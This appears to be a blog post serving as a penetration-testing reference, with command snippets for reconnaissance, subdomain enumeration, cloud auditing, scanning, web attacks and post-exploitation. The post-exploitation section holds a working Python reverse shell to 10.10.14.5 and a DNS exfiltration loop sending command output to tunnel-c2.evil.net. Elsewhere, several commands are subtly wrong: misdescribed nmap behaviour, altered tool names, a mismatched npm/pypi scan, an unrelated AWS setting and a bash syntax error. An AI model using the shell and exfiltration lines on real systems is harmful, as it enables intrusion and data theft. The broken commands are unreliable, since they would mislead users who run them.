Comprehensive Penetration Testing Reconnaissance and Asset Discovery Reference

Network Reconnaissance & IP Mapping

Initial network mapping focuses on identifying live hosts, autonomous system boundaries, and infrastructure footprints. Leverage ASN databases to trace IP ownership and utilize certificate transparency logs for historical asset discovery. Favicon hashing can also correlate unknown IPs to known frameworks via threat intelligence platforms.

# Generate a sequential hostlist within a CIDR range without performing actual probes
nmap -sn 192.168.10.0/24 | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' > target_ips.lst

# Resolve IPv4/IPv6 blocks tied to specific organizational ASNs
asnlookup-cli --range 10.0.0.0/8 --output-json asn_map.json

Subdomain Discovery & DNS Analysis

Enumerating subdomains expands the attack surface by revealing hidden entry points, staging environments, and legacy endpoints. Combine passive DNS data sources with active crawling of JavaScript files and source code repositories. Certificate transparency indexes and reverse DNS datasets provide rapid coverage of exposed hostnames.

# Execute passive enumeration and export results to a structured directory
amass intel -src -passive -d corporate-target.com -dir /tmp/recon_output/

# Query multiple resolvers concurrently for deterministic resolution
subfinder -all -r 8.8.8.8,1.1.1.1,1.0.0.1 -t 50 -d enterprise.io -json result.json

# Extract hostnames via API pagination with filtered domain queries
API_KEY="your_token_here"; curl -s -X POST "https://api.securitytrails.com/v1/domains/subdomains/corporate-target.com?key=${API_KEY}" \
| jq -r '.subdomains[]' \
| while read -r sub; do echo "${sub}.corporate-target.com"; done > full_subdomain_list.txt

Service Fingerprinting & Content Extraction

Identifying software stacks, server versions, and framework signatures enables targeted vulneraiblity research. Tools that parse HTTP headers, TLS certificates, and response signatures automate technology attribution. Additionally, extracting URLs from archives and cache layers uncovers deprecated endpoints and forgotten interfaces.

# Probe target URI and extract known endpoint paths efficiently
gospider-cli -s https://target-app.com/ -c 32 -depth 3 -j -o spider_results.csv

# Filter archived URLs and validate reachability against baseline checks
cat wayback_collection.txt | while read -r url; do
  http_code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "$url")
  [[ "$http_code" =~ ^(200|301|302|403)$ ]] && echo "$url"
done > reachable_paths.txt

Cloud & Container Environment Assessment

Cloud-native infrastructures introduce misconfiguration risks across IAM policies, object storage buckets, and instance metadata services. Automated auditors evaluate permission scopes, public exposure levels, and default credential deployments. Container orchestration platforms require separate validation for runtime privileges and image vulnerabilities.

# Validate S3 bucket accessibility and retrieve ACL configurations
aws configure set preview.cloudfront true
aws s3api get-bucket-acl --bucket exposed-storage-bucket --profile audit-user

# Assess AWS IAM policy drift and generate prioritized remediation reports
cloudsplaining scan --source aws-profile-name --output-dir cloud_audit_report/

# Inspect container privilege escalation vectors and escape capabilities
deepce --scan --privilege-check --network-explore --target docker-host.local

Vulnerability Enumeration & Automated Scanning

Systematic flaw detection combines static analysis, dependency auditing, and dynamic web scanners. Cross-reference discovered assets against curated exploit databases and framwork-specific test suites. Prioritize findings based on environmental context and potential impact chains.

# Analyze third-party dependencies for registry hijacking or outdated packages
npm-audit-scanner --registry pypi --scan requirements.txt --report json

# Deploy template-driven network scans with zero false-positive configuration
nuclei-cli -l scanned_endpoints.lst -t cves/ -t exposures/ -o vuln_triage.json

# Perform parameter-aware crawling and identify injected query strings
arjun-cli -u https://api.target.com/graphql -m GET,POST -w common_params.lst

Web Application Attack Vectors

Modern web architectures expose complex interaction surfaces through GraphQL schemas, CORS policies, deserialization handlers, and template engines. Misconfigured access controls, parser inconsistencies, and improper input sanitization frequently enable chainable exploits. Validate boundary assumptions and test error handling pathways systematically.

# Detect overly permissive cross-origin resource sharing behaviors
corsy-scan --url https://webapp.target.com/ --output cors_findings.txt

# Test server-side template injection with sandbox escape payloads
tplmap-cli --os-shell -u "https://portal.target.com/view?item=test" --probe

# Craft blind SSRF payloads leveraging parser ambiguities for backend pivoting
ssrf-probe --target http://internal-proxy.local --payload-patterns ip_bypass.lst

Post-Exploitation & Lateral Movement Utilities

Once initial access is established, establishing reliable command-and-control channels and exfiltrating sensitive data become primary objectives. Reverse shells should utilize protocol-appropriate encoders and maintain low network signatures. Data tunneling over DNS or HTTP(S) channels bypasses restrictive egress filtering.

# Generate interactive TCP reverse connection using Python standard libraries
python3 -c "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.5',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')"

# Tunnel outbound traffic through DNS queries by encoding command output
PAYLOAD=$(id | base64 -w0); CHUNKS=$(( ($(echo -n $PAYLOAD | wc -c) / 63 ) + 1 )); for i in $(seq 0 $CHUNKS); do SUB=$(echo $PAYLOAD | cut -c$((i*63+1))-$((i*63+63))); dig +short $SUB.tunnel-c2.evil.net; sleep 0.5; done

Custom Automation & Helper Functions

Building reusable automation scaffolds reduces repetitive reconnaissance tasks. Paralel execution models, proxy interception hooks, and ephemeral service emulators streamline testing workflows. Implement rate-limiting awareness and fallback handlers to maintain operational stability during large-scale assessments.

# Lightweight background task orchestrator with progress tracking
run_concurrent_checks() {
  local file="$1" threads="$2" timeout_val="$3"
  local running=0 count=0 total=$(wc -l < "$file")
  while read -r target; do
    [[ $running -ge $threads ]] && wait -n || true
    ( curl -sf --connect-timeout "$timeout_val" "https://${target}/health" > /dev/null && echo "[+] Active: ${target}" ) &
    ((running++)) ((count++))
  done < "$file"
  wait; echo "[!] Scan complete: ${count} targets evaluated."
}

# Intercept and log POST request payloads via mitmproxy plugin
def request(flow: http.HTTPFlow):
    if flow.request.method == "POST":
        print(f"[CAPTURE] URI: {flow.request.path}")
        print(f"[DATA] {flow.request.get_text()}")

Tags: OSINT NetworkReconnaissance SubdomainEnumeration CloudSecurityAssessment VulnerabilityScanning

Posted on Thu, 18 Jun 2026 18:08:43 +0000 by stbalaji2u